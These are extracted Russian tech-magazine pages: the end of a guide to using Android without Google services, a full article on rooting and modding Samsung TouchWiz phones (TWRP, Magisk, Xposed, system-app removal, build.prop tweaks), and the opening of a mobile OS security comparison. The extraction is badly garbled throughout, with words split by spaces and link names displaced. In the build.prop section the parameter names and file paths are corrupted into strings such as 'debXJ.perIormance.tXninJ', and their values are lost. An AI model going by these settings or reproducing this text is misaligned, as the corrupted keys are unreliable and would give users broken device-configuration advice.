https://f-droid.org/
https://4pda.ru/forum/index.php?showtopic=275433
http://apktrack.org/
https://play.google.com/store/apps/details?id=com.projectsexception.myapplist
https://fossdroid.com/a/yalp-store.html


КАК ЖИТЬ НА ANDROID БЕЗ
GOOGLE PLAY, YOUTUBE И ПРОЧИХ

СЕРВИСОВ

X‐MOBILE  НАЧАЛО СТАТЬИΝ

СИНХРОНИЗАЦИЯ
Неп рият ный  побоч ный  эффект  отка за  от  сер висов  Google  —  ста новит ся
невоз можно авто мати чес ки син хро низи ровать кон такты, кален дарь и дан ные
при ложе ний. Но и тут есть выход.

Эк спорт/импорт
Кон такты  и  кален дари  мож но  экспор тировать.  Это  необ ходимо  про делать
еще до отклю чения при вяз ки к Google.

Кон такты. Перехо дим в кон такты, «Импорт/Экспорт → Экспорт в файл VCF
→  Выб рать  все»,  выбира ем  файл.  Таким  же  обра зом  их  мож но  вос ста‐ 
новить на новом устрой стве.

•

Ка лен дарь. Откры ваем  ,  перехо дим в Settings → Cal‐
endars →  Export  calendars.  Импорти ровать  кален дарь  мож но  с  помощью
при ложе ния  .

• calendar.google.com

ICS Importer

Стра ница экспор та кален даря

DAVdroid
Пос ле импорта кон тактов и кален даря на новом устрой стве мож но нас тро ить
их  син хро низа цию  со  сто рон ним  или  сво им  сер вером.  Для  это го  мож но
исполь зовать  .  При ложе ние  пол ностью  интегри рует ся  с  сис темой
авто син хро низа ции Android и работа ет в фоне, син хро низи руя дан ные с выб‐ 
ранным  тобой  сер вером  с  под дер жкой  CalDAV/CardDAV  (такая  под дер жка
есть  у  мно гих  поч товых  сер висов).  При  необ ходимос ти  дан ные  мож но  син‐ 
хро низи ровать со сво ей домаш ней машиной или сер вером, уста новив на них
бес плат ный  .

DAVdroid

ownCloud
При ложе ние откры тое, его мож но бес плат но ска чать в F‐Droid (та же вер‐ 

сия при ложе ния из Google Play обош лась бы в четыре дол лара).

Helium — App Sync and Backup
Прог рамма  для  син хро низа ции,  написан ная  соз дателем  ClockworkMod  Re‐
covery — Кушиком Дут той  (Koushik Dutta).  При ложе ние  исполь зует  стан дар‐ 
тный  backup  manager,  дос тупный  в  любом  Android  начиная  с  вер сии  4.0.
При  пер вичной  нас трой ке  тре бует ся  при ложе ние‐ком пань он  на  ком пе
или  рас ширение  для  Chrome.  Прог рамма  поз волит  сде лать  бэкап  поль‐ 
зователь ско го сло варя, сооб щений и жур налов звон ков,  точек дос тупа Wi‐Fi
и  боль шинс тва  при ложе ний.  Сис темные  при ложе ния  нель зя  бэкапить,  даже
если  есть  root.  Так же  резер вирова ние  может  быть  зап рещено  раз работ‐ 
чиками некото рых прог рамм. Они будут находить ся вни зу спис ка.

Helium  запоми нает  все  устрой ства,  с  которых  заходи ли  в  прог рамму,
и поз воля ет вос ста нав ливать бэкапы отдель но на раз ных устрой ствах. Бэкапы
мож но  хра нить  на  кар те  памяти  или  в  обла ке  (Google  Диск,  Box,  Dropbox),
а так же делать их по рас писанию. Еще одна осо бен ность при ложе ния — лег‐ 
кий  перенос  дан ных  меж ду  устрой ства ми:  нап ример,  начав  игру  на  одном
устрой стве, мож но про дол жить ее на дру гом.

Пер вичная нас трой ка Helium и резер вирова ние дан ных

Хар дкор
Ес ли  ты  не  доверя ешь  при ложе ниям  и  сер висам  или  при вык  все  делать
руками, то мож но пой ти дру гим путем. При наличии root мож но самос тоятель‐ 
но выдер нуть базы СМС и кон тактов.

Ба за СМС: 
.

• /data/data/com.android.providers.telephony/data‐
bases/mmssms.db
Ба за  кон тактов: 

.
• /data/data/com.android.providers.contacts/
databases/contacts2.db

И вер нуть на мес то на новом телефо не или пос ле сбро са до завод ских нас‐ 
тро ек.

Для  авто мати зации  это го  про цес са  мож но  исполь зовать  Tasker.  Прос то
соз дай  неболь шой  про филь,  который  будет  отсле живать  изме нения  дан ных
фай лов  через  Event  →  File  →  File  modified  и  закиды вать  его  в  обла ко
или копиро вать на /sdcard.

DUCKDUCKGO
Что бы еще боль ше обе зопа сить себя от назой ливого вни мания, луч ше отка‐ 
зать ся от поис ковика Google и исполь зовать вмес то него неот сле жива ющий
поис ковик  DuckDuckGo.  У  него  есть    с  вид жетом
для рабоче го сто ла. Так же DuckDuckGo мож но выб рать в качес тве стан дар‐ 
тно го поис ковика прак тичес ки в любом бра узе ре.

офи циаль ное  при ложе ние

КАРТЫ
Еще один неп рият ный момент отка за от сер висов Google  (в слу чае пол ного
уда ления  GApps) —  нерабо тос пособ ные  кар ты  Google.  Но  и  в  этом  слу чае
мож но исполь зовать аль тер нативы.

 — самая извес тная аль тер натива кар там Google в Рос сии.• Ян декс.Кар ты
  исполь зует  кар ты  OpenStreetMap  и  дан ные  Wikipedia.  Дос тупен

в  F‐Droid.  Поз воля ет  ска чивать  кар ты  по  областям  и  стра нам  и  исполь‐ 
зовать  офлайн‐навига цию.  Есть  соп ровож дение  голосом,  пре дуп режде‐ 
ние  о  зна ках  и  пре выше нии  ско рос ти.  Под держи вает  избран ные  точ ки
и  показы вает  пешеход ные  тро пин ки  и  инте рес ные  мес та  рядом.  Прок‐ 
ладыва ет  мар шрут  для  велоси педис тов  и  поз воля ет  отсле живать  ско‐ 
рость, высоту, а так же выг ружать мар шрут в GPX‐файл или онлайн‐сер вис.

• OsmAnd

 — геог рафичес кая онлай новая энцикло педия, цель которой зак‐ 
люча ется  в  том,  что бы  отме тить  и  опи сать  все  геог рафичес кие  объ екты
на Зем ле. Викима пия сов меща ет в себе инте рак тивную кар ту с прин ципом
сво бод ного редак тирова ния вики. На  кар те мож но под све тить и выб рать
любой отме чен ный объ ект и пос мотреть его опи сание. По задум ке прог‐ 
рамма час тично схо жа с «Народ ной кар той» Яндекса.

• Wikimapia

Wikimapia и OsmAnd

Уда лив  сер висы  Google,  ты  так же  лишишь ся  фун кции  опре деле ния  мес‐ 
тополо жения по точ кам дос тупа и сотовым выш кам. Это зна чит, что смар тфон
смо жет  опре делять мес тополо жение  толь ко  по GPS и  не  смо жет  адек ватно
его оце нивать в зак рытых помеще ниях.

К  счастью,  сущес тву ет  откры тая  аль тер натив ная  реали зация  API  геоло‐ 
кации  Google,  которая  исполь зует  аль тер натив ные  источни ки  дан ных.  Она
носит имя  . Кро ме нее, тебе так же понадо бит ся ряд пла гинов:UnifiedNlp

  —  опре деля ет  мес тополо жение  по  базе  точек
Wi‐Fi Apple;

• Apple  UnifiedNlp  Backend

 — исполь зует сер висы геоло кации Mozilla;• MozillaNlpBackend
  —  исполь зует  базу  Wi‐Fi  и  сотовых  вышек

openbmap.org.
• OpenBmapNlpBackend

Сна чала  уста нови  UnifiedNlp,  затем  перезаг рузись  и  уста нови  пла гины.
Запус ти  при ложе ние  UnifiedNlp  и  выбери  пла гины.  В  нас трой ках  Android
выбери режим опре деле ния мес тополо жения «По всем источни кам».

Ус танав лива ем и нас тра иваем пла гины геоло кации

YOUTUBE
Ну  и  напос ледок  ска жу  про  воз можность  смот реть  видео  без  сер висов
Google.  Для  это го  есть  нес коль ко  аль тер натив.  Не  буду  оста нав ливать ся
на  дру гих  виде охос тингах,  отме чу  лишь  пару  сер висов,  завязан ных
на YouTube.

,  которо му  для  работы  не  нуж ны  сер висы
и GApps. Про ект дав но не раз вива ется, но при ложе ние до сих пор работа‐ 
ет (хотя, воз можно, и не на всех устрой ствах).

• Мо дифи циро ван ный  YouTube

  —  лег ковес ный  кли ент,  не  име ет  глав ной  стра ницы  с  лен той
или пред ложени ями, но ищет видео на YouTube по клю чевым сло вам. Поз‐ 
воля ет не толь ко прос матри вать видео, но и ска чивать ролики в раз личных
дос тупных фор матах и качес тве.

• NewPipe

ЗАКЛЮЧЕНИЕ
В  пос леднее  вре мя  люди  все  боль ше  заботят ся  о  кон фиден циаль нос ти
информа ции  при  исполь зовании мобиль ных  устрой ств.  Ну  а  спрос  рож дает
пред ложение. Мож но най ти огромное количес тво при ложе ний, пре дос тавля‐ 
ющих  в  том  или  ином  виде  защиту  дан ных,  end‐to‐end  шиф рование  и  так
далее.  И  хотя  желание  уйти  из‐под  над зора  вызыва ет  некото рые  труд ности
при  экс плу ата ции  девай сов,  их  все  же  мож но  одо леть  с  помощью  допол‐ 
нитель ного соф та.

https://calendar.google.com/
https://play.google.com/store/apps/details?id=jitdesign.icsimport
https://play.google.com/store/apps/details?id=at.bitfire.davdroid
https://owncloud.org/
https://play.google.com/store/apps/details?id=com.duckduckgo.mobile.android
https://play.google.com/store/apps/details?id=ru.yandex.yandexmaps
http://osmand.net/
https://play.google.com/store/apps/details?id=org.wikimapia.android&hl=ru
https://f-droid.org/repository/browse/?fdid=com.google.android.gms
https://f-droid.org/repository/browse/?fdid=org.microg.nlp.backend.apple
https://f-droid.org/repository/browse/?fdid=org.microg.nlp.backend.ichnaea
https://f-droid.org/repository/browse/?fdid=org.openbmap.unifiedNlp&fdpage=24
https://forum.xda-developers.com/android/apps-games/youtube-app-google-play-services-t3194244
https://f-droid.org/app/org.schabi.newpipe
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X‐MOBILE

Про шив ки  смар тфо нов  Samsung  наш пигова ны  огромным
количес твом фун кций и нас тро ек. Одна ко некото рые из них
скры ты,  а  мно гие  полез ные  воз можнос ти  кас томных  про‐ 
шивок в них прос то недос тупны. К тому же про шив ка содер‐ 
жит мас су допол нитель ного соф та,  который висит  в  памяти
и уда лить который невоз можно. В этой статье мы рас ска жем,
как рас ширить фун кци ональ ность сто ковой про шив ки и под‐ 
чистить ее от хла ма.

Смар тфо ны  Samsung  работа ют  под  управле нием  TouchWiz —  силь но  изме‐ 
нен ной  вер сии  Android.  Поэто му  методы  ее  модифи кации  нес коль ко  отли‐ 
чают ся от методов, при меня емых в дру гих про шив ках, но в целом все доволь‐ 
но при выч но.

Как и в слу чае с дру гими про шив ками, пот ребу ются пра ва  root. Сам про‐ 
цесс  получе ния  прав  root  чре ват  некото рыми  рис ками,  так  что  мы  дол жны
подс тра ховать ся и сде лать бэкап. Для это го на смар тфон необ ходимо уста‐ 
новить кас томный рекаве ри TWRP.

УСТАНАВЛИВАЕМ TWRP
Ес ли  у  тебя  меж дународ ная  модель  устрой ства,  зна чит,  никакой  необ‐ 
ходимос ти  в  раз бло киров ке  заг рузчи ка  нет.  Прос то  сле дуй  инс трук ции  шаг
за шагом. И убе дись, что гад жет заряжен по край ней мере на 50%.
1. Ус танав лива ем USB‐драй веры на Windows. Най ти их мож но на 

 для раз работ чиков.
офи циаль‐ 

ном ресур се Samsung
2. Пос ле уста нов ки обя затель но перезаг ружа ем компь ютер.
3. Ска чива ем прог рамму   и рас паковы ваем в любую пап ку.Odin
4. Пе рехо дим на сайт   и ска чива ем кас томный рекаве ри для сво его
аппа рата.  TWRP  дол жен  соот ветс тво вать  номеру  модели  устрой ства  (и
никак ина че).

twrp.me

5. За пус каем  Odin  и  перево дим  мобиль ное  устрой ство  в  режим  заг рузки
(download  mode).  Для  это го  его  необ ходимо  вык лючить,  а  затем  зажать
одновре мен но  сле дующие  кноп ки:  «Гром кость  вниз»,  «Домой»
и  «Питание».  Пос ле  это го  смар тфон  поп росит  под твер дить  дей ствие —
нажима ем «Гром кость вверх».

6. Под клю чаем смар тфон к компь юте ру USB‐кабелем и дожида емся реак ции
Odin.  В  левой  час ти  прог раммы  дол жна  появить ся  над пись  Added  —
это  озна чает,  что  устрой ство  под клю чено.  Если  ничего  не  про исхо дит
в течение пяти‐десяти минут, пов торя ем пятый и шес той шаги.

7. Те перь нажима ем кноп ку AP и выбира ем ска чан ный ранее файл TWRP.
8. На жима ем Start.

За нес коль ко секунд про цесс про шив ки завер шится, и устрой ство авто мати‐ 
чес ки перезаг рузит ся.

Раз реша ем дос туп к сис темным раз делам и глав ный экран TWRP

СОЗДАЕМ РЕЗЕРВНУЮ КОПИЮ ДАННЫХ
1. За пус каем телефон в режиме рекаве ри. Для это го вык люча ем его, а затем
нажима ем  и  нес коль ко  секунд  удер жива ем  кноп ки  «Гром кость  вверх»,
«Домой» и «Питание».

2. На глав ном экра не выбира ем меню Backup, ста вим галоч ки нап ротив всех
раз делов, кро ме Cache.

3. Оп ределя емся с мес том хра нения бэкапа, нажав кноп ку Select Storage. Я
рекомен дую исполь зовать кар ту памяти, если есть воз можность.

4. Пе ретас кива ем  пол зунок  вни зу  экра на  сле ва  нап раво,  что бы  выпол нить
резер вное копиро вание.

Об рати вни мание: вес бэкапа может пре вышать 6 Гбайт! Он хра нит ся в пап ке
TWRP.

Ме ню соз дания бэкапа и выбор мес та его хра нения

ПОЛУЧАЕМ ПРАВА ROOT
Есть  нес коль ко  спо собов  получить  root.  Самые  ходовые  —  уста новить  Su‐
perSU или Magisk Manager с помощью TWRP. Так как SuperSU на смар тфо нах
Samsung иног да при водит к бут лупам и дру гим неп рият ным пос ледс тви ям, мы
вос поль зуем ся Magisk’ом.
1. Ус танав лива ем  .Magisk Manager
2. От кры ваем Magisk Manager и тапа ем по кноп ке Download, раз реша ем дос‐ 
туп  к  внут ренней  памяти  и  ждем,  пока  архив  в  фор мате  ZIP  заг рузит ся
на телефон.

3. Пе резаг ружа емся в TWRP.
4. На глав ном экра не TWRP перехо дим в раз дел Install, переме щаем ся в пап‐ 
ку  MagiskManager,  которая  находит ся  на  внут ренней  памяти  устрой ства,
и тапа ем по архи ву.

5. Пе ретас кива ем пол зунок вни зу экра на, что бы выпол нить уста нов ку. Далее
нажима ем Reboot System.

6. Ког да смар тфон перезаг рузит ся, откры ваем при ложе ние Magisk Manager
и убеж даем ся, что пра ва получе ны: на вклад ке Status дол жна быть над пись
Properly rooted.

Глав ный экран при ложе ния Magisk Manager и дос тупные модули для заг‐ 
рузки

mailto:iambfx@gmail.com
http://developer.samsung.com/galaxy/others/android-usb-driver-for-windows
http://dl.sammobile.com/Odin3-v3.11.1.zip
https://twrp.me/
https://play.google.com/store/apps/details?id=com.topjohnwu.magisk&hl=ru
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УСТАНАВЛИВАЕМ XPOSED FRAMEWORK
Xposed Framework — это сре да исполне ния  тви ков,  так или ина че рас ширя‐ 
ющих воз можнос ти Android. Офи циаль ная вер сия Xposed не будет работать
на  устрой ствах  с  обо лоч кой  TouchWiz,  но  сущес тву ет  неофи циаль ный форк,
который фун кци они рует кор рек тно.

Есть две модифи кации Xposed: ARM и ARM 64. Пер вая под ходит для ста‐ 
рых  устрой ств  с  32‐бит ной  архи тек турой  про цес сора,  таких  как  Galaxy
S5  и  Galaxy  Note  4,  а  вто рая —  для  64‐бит ных:  Galaxy  S6,  S7,  Note  5  и  так
далее.    пос леднюю  вер сию  Xposed  для  сво ей  вер сии  Android
и архи тек туры про цес сора.

Ска чива ем

Так же  на  вся кий  слу чай  ска чива ем    (uninstaller),  который
поз воля ет  уда лить  Xposed,  если  воз никнут  проб лемы.  Кла дем  оба  фай ла
на флеш ку, перезаг ружа емся и уста нав лива ем Xposed. Если сле дующая заг‐ 
рузка  при водит  к  бут лупу,  вновь  запус каем  TWRP  и  про шива ем  деин стал‐ 
лятор, что бы уда лить Xposed.

де инстал лятор

Да лее ска чива ем и уста нав лива ем  . Он игра ет роль менед‐ 
жера модулей  (тви ков), с помощью которо го их мож но уста нав ливать и уда‐ 
лять.

Xposed Installer

Глав ный экран Xposed Installer и спи сок дос тупных модулей

МОДУЛИ XPOSED
Для уста нов ки модулей мож но исполь зовать сам Xposed  Installer. Откры ваем
боковое меню и перехо дим в под меню «Поиск модулей». Далее в поле поис‐ 
ка вво дим наз вание модуля и тапа ем по нему, а затем перехо дим на вклад ку
«Вер сия»  и  нажима ем  кноп ку  «Уста новить».  Ког да  заг рузка  завер шится,
перехо дим  в  под меню  «Уста нов ленные  модули»,  акти виру ем  модуль
и перезаг ружа ем телефон.

Об рати  вни мание:  боль шинс тво  модулей  в  репози тории  несов мести мы
с  TouchWiz,  поэто му  их  уста нов ка  может  при вес ти  к  бут лупу.  В  этом  слу чае
при дет ся опять же перезаг ружать ся в TWRP и про шивать uninstaller.

XtouchWiz / Firefds Kit
XtouchWiz  —  это  модуль  для  нас трой ки  про шивок  TouchWiz  на  аппа ратах
новее  Galaxy  S5  и  Note  4.  Firefds  Kit  —  модифи циро ван ная  вер сия  модуля
XtouchWiz, которая сов мести ма с более ста рыми смар тфо нами и план шетами
(про тес тирова на на Galaxy S5 и Note 4).

Ос новные воз можнос ти XtouchWiz / Firefds Kit:
из менение ста туса сис темы (Fake system status — поз воля ет скрыть рут);•
от клю чение пре дуп режде ния о высокой гром кости;•
пе рек лючение песен в про игры вате ле с помощью «качель ки» гром кости;•
от клю чение зву ка зат вора камеры;•
ак тивация рас ширен ного меню перезаг рузки;•
от клю чение кеширо вания скрол линга в при ложе ниях;•
ак тивация камеры во вре мя звон ка;•
вклю чение мно гоокон ного режима для всех при ложе ний;•
нас трой ка физичес ких кно пок;•
кноп ка для записи звон ков (авто запись);•
из менение эффекта перехо да в стан дар тном лаун чере.•

Кноп ка записи раз говора

All my…
All  my…  —  набор  тви ков  как  для  «голого»  Android,  так  и  для  TouchWiz.
Основные воз можнос ти:

скры тие ненуж ных диало говых и всплы вающих окон;•
скры тие уве дом ления режима «Не бес поко ить»;•
вклю чение/отклю чение режима чте ния (толь ко «Адап тивный дис плей»);•
ак тивация более при ятной виб роот дачи;•
от клю чение зап роса пароля пос ле перезаг рузки, ког да исполь зует ся дат‐ 
чик отпе чат ка паль ца;

•

пе рек лючение на sRGB в режиме вос про изве дения видео;•
ав томати чес кое вклю чение дос тупа по про токо лу MTP;•
бо лее под робная ста тис тика исполь зования батареи;•
уп равле ние  вос про изве дени ем музыки  с  помощью  кла виши  регули ров ки
гром кости;

•

ак тивация более ком пак тной панели гром кости;•
пе реме щение кур сора с помощью качель ки гром кости;•
от клю чение уве дом ления, что устрой ство под клю чено к компь юте ру.•

Есть  допол нитель ные  опции  в  раз деле Copycats,  где мож но  нас тро ить  виб‐ 
роот дачу,  минималь ную  яркость,  убрать  пре дуп режде ние  о  высокой  гром‐ 
кости и так далее.

Ком пак тная и пол ная панель гром кости

Xposed Edge
Xposed  Edge —  модуль,  который  поз воля ет  переназ начить  все  физичес кие
кноп ки, вклю чить режим наэк ранных кно пок, исполь зовать жес ты и не толь ко.
Работос пособ ность на Galaxy‐устрой ствах про вере на.

Ос новные воз можнос ти Xposed Edge:
пе реназ начение физичес ких кно пок;•
бо ковое меню навига ции PIE;•
ис поль зование жес тов для навига ции;•
свай пы для управле ния фун кци ями (яркость, филь тр экра на, гром кость);•
за мороз ка при ложе ний;•
бо ковые панели;•
ру копис ные жес ты;•
ог ромный набор нас тро ек.•

УДАЛЯЕМ СИСТЕМНЫЕ ПРИЛОЖЕНИЯ
Смар тфо ны  ком пании  Samsung,  как  и  Android‐устрой ства  дру гих  про изво‐ 
дите лей,  содер жат  боль шое  количес тво  при ложе ний,  которые  нель зя  уда‐ 
лить, а в некото рых слу чаях даже отклю чить. Мно гие из них пос тоян но висят
в опе ратив ке и жрут память, а цен ности при этом не пред став ляют.

Та кие  при ложе ния  мож но  уда лить  с  помощью  фай лового  менед жера
с под дер жкой root (дос таточ но най ти при ложе ние в   и 

).  Но  мож но  пой ти  более  прос тым  путем  и  вос поль зовать ся  при‐ 
ложе нием  . Пос ле запус ка он выведет спи сок всех сис‐ 
темных  при ложе ний  и  даже  под ска жет,  какие  из  них  мож но  без болез ненно
уда лить.

ŵsystemŵapp ŵsystemŵ
pri�‐app

ме нед жер при ложе ний

Уда ляем сис темные при ложе ния

Под робный спи сок при ложе ний, которые мож но уда лить:
Flipboard  (Upday)  и  Briefing  —  агре гато ры  новос тей  со  встро енны ми
в лаун чер панеля ми;

•

Dropbox — кли ент одно имен ного облачно го хра нили ща;•
Hancom Office Viewer — стан дар тный прос мот рщик докумен тов;•
Microsoft Office — пакет офис ных инс тру мен тов;•
Peel Smart Remote — пульт для управле ния телеви зором и дру гой тех никой
через ИК‐порт;

•

PEN.UP — при ложе ние для обме на собс твен ными рисун ками;•
Gear VR — сер висы,  которые необ ходимы для работы одно имен ной  гар‐ 
нитуры вир туаль ной реаль нос ти;

•

Мо дуль  служ бы  печати  Samsung  —  при ложе ние  поз воля ет  печатать
по бес про вод ной сети;

•

Сер висы ANT+ — отве чают за бес про вод ную работу спор тивных при над‐ 
лежнос тей, таких как пуль сометр;

•

S Health — фир менный инс тру мент от Samsung,  который поз воля ет  под‐ 
держи вать физичес кую фор му;

•

S Planner — встро енный кален дарь;•
S Voice — фир менный голосо вой помощ ник ком пании Samsung;•
Samsung  Link  Platform  —  поз воля ет  делить ся  меди акон тентом  по  сети
Интернет;

•

AllShare  FileShare  Service  —  сер вис,  обес печива ющий  работу  Samsung
Link;

•

Син тезатор  речи  Google  (его  могут  исполь зовать  кни гочи тал ки,  нап‐ 
ример);

•

E‐Mail — стан дар тный поч товый кли ент;•
Ин тернет — фир менный бра узер ком пании Samsung;•
Мо дуль  пре обра зова ния  тек ста  в  речь  Samsung —  ана логи  син тезато ра
речи от Google;

•

Мои фай лы — фай ловый менед жер;•
Му зыка — про игры ватель аудио;•
По года — стан дар тный вид жет погоды;•
Сер висы Knox — отве чают за безопас ность сис темы, одна ко они меша ют
работе SuperSU;

•

S Finder (Finder) — фун кции поис ка по телефо ну;•
Быс трое под клю чение (Quick Connect) — под клю чение к устрой ствам поб‐ 
лизос ти через Bluetooth и Wi‐Fi;

•

SecurityLogAgent  —  ска нер  сис темы  на  вирусы.  Если  есть  пра ва  рут,  то
Smart Manager будет ругать ся;

•

ChocoEUKor, RoseEUKor, CoolEUKor, SamsungSans — пре дус танов ленные
шриф ты;

•

Beaming Service — фун кция переда чи штрих‐кодов;•
Galaxy Apps — магазин при ложе ний Samsung;•
Game  Tuner  —  прог рамма  для  тон кой  нас трой ки  про изво дитель нос ти
в играх;

•

Game  Tools — инс тру мент  для  записи  игро вого  про цес са,  сня тия  скрин‐ 
шотов и отклю чения уве дом лений во вре мя игры;

•

Game Launcher — менед жер уста нов ленных игр;•
Samsung Account — отве чает за при вяз ку к акка унту Samsung;•
Yahoo! Edge — панель Edge;•
Зву коза пись  —  при ложе ние  для  записи  зву ка  через  встро енный  мик‐ 
рофон;

•

S Note (Samsung Замет ки) — при ложе ние для заметок;•
Средс тво  запус ка  —  стан дар тный  лаун чер  TouchWiz  (перед  уда лени ем
убе дись, что на смар тфо не уста нов лен сто рон ний лаун чер).

•

CSC-ТВИКИ
Эти  тви ки  дос тупны  на  всех  Galaxy‐аппа ратах  ком пании  Samsung.  По  сути
это  скры тые фун кции,  дос туп  к  которым мож но  получить  толь ко  с  помощью
прав root.

Для  их  акти вации  рекомен дую исполь зовать  при ложе ние 
, которое все дела ет быс тро и без каких‐либо труд ностей для поль‐ 

зовате ля. Единс твен ный недос таток инс тру мен та: он плат ный. С дру гой сто‐ 
роны,  акти вация  скры тых  воз можнос тей  с  помощью  CSC‐тви ков  —  очень
слож ный  и  небезо пас ный  про цесс,  поэто му  CSC  Tweaks  for  Samsung  сто ит
сво их денег.

CSC Tweaks  for
Samsung

Ос новные воз можнос ти CSC Tweaks for Samsung:
ак тивация записи звон ков;•
от клю чение зву ка зат вора камеры;•
по каз исполь зования мобиль ных дан ных на панели быс трых нас тро ек;•
до пол нитель ные сим волы в стан дар тной кла виату ре;•
вклю чение под дер жки VoLTE;•
вклю чение/вык лючение отоб ражения знач ка NFC в ста тус баре.•

Ес ли ты хочешь вер нуть стан дар тные воз можнос ти, в меню при ложе ния име‐ 
ется опция, которая это дела ет.

До пол нитель ные сим волы в кла виату ре и допол нитель ная панель
в Smart Manager

РЕДАКТИРУЕМ BUILD.PROP
Файл    содер жит  низ коуров невые  нас трой ки  Android,
такие как нас трой ки сетево го сте ка, кодеков муль тимедиа, модема, камеры,
зна чение DPI и дру гие.

ŵsystemŵbuildŜprop

Для  редак тирова ния  build.prop  я  рекомен дую  исполь зовать  бес плат ное
при ложе ние  . Сра зу пос ле его запус ка ты уви дишь спи сок всех
сис темных  парамет ров.  Если  не  зна ешь,  что  они  озна чают,  то  луч ше  их
не  тро гать  вооб ще  (или  загуг лить  кон крет ный  параметр  и  узнать,  за  что  он
отве чает).

BuildProp Editor

Что бы изме нить какой‐либо параметр, наж ми на него и вве ди новое зна‐ 
чение. Затем наж ми «Сох ранить» и перезаг рузи смар тфон, что бы изме нения
всту пили  в  силу.  Но  будь  осто рожен  —  одно  невер ное  дви жение,  и  ты
получишь бут луп или некор рек тно работа ющую сис тему.

Что мож но изме нить:
 — улуч шает реак цию экра на на при кос‐ 

новения;
• debXJ.perIormance.tXninJ �

  —  повыша ет  уро вень  отзывчи вос ти
интерфей са во вред авто ном ности;

• debXJ.composition.type JpX

 — поз воля ет сни зить энер гопот ребле‐ 
ние телефо на за счет отклю чения тех нологии  , которую рос‐ 
сий ские мобиль ные опе рато ры зачас тую не под держи вают;

• ro.ril.Iast.dormancy.rXle �
Fast Dormancy

 — умень шает задер жку звон ка;• ro.telephony.callBrinJ.delay �
  —  улуч шает  авто ном ность

за счет уве личе ния интерва лов поис ка сетей Wi‐Fi;
• ZiIi.sXpplicantBscanBinterval ���

 — повыша ет авто ном ность;• ro.conIiJ.hZBpoZerBsavinJ trXe
  —  на  слу чай,  если  пос ле  каж дой

перезаг рузки смар тфо на тебе при ходит ся вво дить пароль Wi‐Fi.
• ro.secXrestoraJe.sXpport Ialse

Па раметр    не  сто ит  изме нять,  пос коль ку  мно гие  сис‐ 
темные при ложе ния, такие как «Телефон» и «Камера», не име ют соот ветс тву‐ 
ющей под дер жки.

roŜs�Ŝlcdɏdensity

МОДИФИЦИРОВАННЫЕ ПРОШИВКИ
Мне  при ходи лось  поль зовать ся  все ми  кас томны ми  про шив ками,  которые
дос тупны для моего фаб лета Galaxy Note 4. Мно гие из них обла дают боль шой
частью  воз можнос тей,  которые  пред лага ют  Xposed, CSC‐тви ки  и  улуч шения
с помощью  .buildŜprop

От дель но хочу упо мянуть кас томную про шив ку Nemesis, которая дос тупна
в том чис ле для Galaxy Note 4, Galaxy Note 5, Galaxy S6 и S7. Она поз воля ет
тон ко  нас тра ивать  интерфейс  и  фун кци ональ ность.  SimplRom  так же  весь ма
неп лоха. Она уже почище на от ненуж ных при ложе ний, по умол чанию дос тупна
фун кция записи раз говоров, при сутс тву ют допол нитель ные сим волы на кла‐ 
виату ре и мно го дру гих улуч шений.

Как ни стран но, нас тро ить интерфейс про шив ки TouchWiz мож но с помощью
офи циаль ного  тви ка  от  Samsung.  При ложе ние  Good  Lock  силь но  изме няет
внеш ний  облик  про шив ки  и  пол ностью  меня ет  экран  бло киров ки  и  панель
уве дом лений. Сис тема ста новит ся  гораз до более лег кой и боль ше напоми‐ 
нает  голый  Android,  чем  про шив ку  от  Samsung.  Плюс  огромное  количес тво
нас тро ек.

Good  Lock  рас простра няет ся  в  фор ме  обыч ного  при ложе ния  через
магазин Galaxy  Apps  (так же мож но  най ти  на  ).  Но  есть  одна  проб‐ 
лема:  на  некото рых  смар тфо нах  (нап ример,  Galaxy  Note  4)  перес тает
работать фун кция раз бло киров ки экра на с помощью отпе чат ка паль ца.

APKMirror

Па нель уве дом лений пос ле уста нов ки Good Lock

ВЫВОДЫ
Как видишь, мож но зна читель но рас ширить воз можнос ти даже сто ковой про‐ 
шив ки. Да, для это го нуж ны пра ва root, но сегод ня получить их гораз до про‐ 
ще,  чем рань ше. Пом ню, мне  при ходи лось  вво дить  с  десяток  команд  через
коман дную стро ку, и все го одна ошиб ка мог ла при вес ти к пла чев ным резуль‐ 
татам.

https://www.dropbox.com/sh/gz64h7cqg6hhh55/AAApUfMgBcor2pGU-rZdSgdVa?dl=0
https://www.androidfilehost.com/?fid=24499762635998273
https://forum.xda-developers.com/attachment.php?attachmentid=3921508&d=1477916609
https://play.google.com/store/apps/details?id=com.jumobile.manager.systemapp
https://play.google.com/store/apps/details?id=com.skin1980.sgs6csctweaks
https://play.google.com/store/apps/details?id=com.jrummy.apps.build.prop.editor
https://en.wikipedia.org/wiki/Fast_Dormancy
http://www.apkmirror.com/apk/samsung-electronics-co-ltd/good-lock/


СРАВНИВАЕМ БЕЗОПАСНОСТЬ
IOS, WINDOWS, ANDROID,

SAILFISH И TIZEN

Олег Афонин
Эксперт по
мобильной

криминалистике
компании

«Элкомсофт»
aoleg@voicecallcent‐

ral.com

X‐MOBILE

Мы час то пишем о безопас ности мобиль ных ОС, пуб лику ем
информа цию  о  най ден ных  уяз вимос тях,  опи сыва ем  сла бые
сто роны  защиты  и  спо собы  взло ма. Мы  писали  и  о  слеж ке
за  поль зовате лями  Android,  и  о  злов редных  при ложе ниях,
которые встра ивают ся пря мо в про шив ку, и о некон тро лиру‐ 
емой  утеч ке  поль зователь ских  дан ных  в  обла ко  про изво‐ 
дите ля.  Какая  же  из  сов ремен ных  мобиль ных  плат форм
наибо лее  безопас на  для  поль зовате ля  —  или  хотя  бы
наиме нее небезо пас на? Поп робу ем разоб рать ся.

ЧТО ТАКОЕ БЕЗОПАСНОСТЬ?
Нель зя  говорить  о  безопас ности  устрой ства,  не  опре делив,  что  мы,  собс‐ 
твен но, име ем в виду. Физичес кую безопас ность дан ных? Защиту от методов
низ коуров невого ана лиза с извле чени ем мик росхе мы памяти или же прос то
защиту от любопыт ных, которые не зна ют пароля и не уме ют обма нывать ска‐ 
нер отпе чат ков  паль цев? Переда ча  дан ных  в  обла ко — плюс  это  или минус
с  точ ки  зре ния  безопас ности? А  в  какое  обла ко,  кому  и  куда,  каких  имен но
дан ных,  зна ет  ли об  этом поль зователь  и может  ли отклю чить? А  нас коль ко
веро ятно  на  той  или  иной  плат форме  под хва тить  тро янца  и  рас стать ся
не толь ко с пароля ми, но и с день гами на сче те?

Ас пекты  безопас ности  мобиль ных  плат форм  невоз можно  рас смат ривать
в отры ве друг от дру га. Безопас ность — это ком плексное решение, охва тыва‐ 
ющее все гра ни исполь зования устрой ства от ком муника ций и изо ляции при‐ 
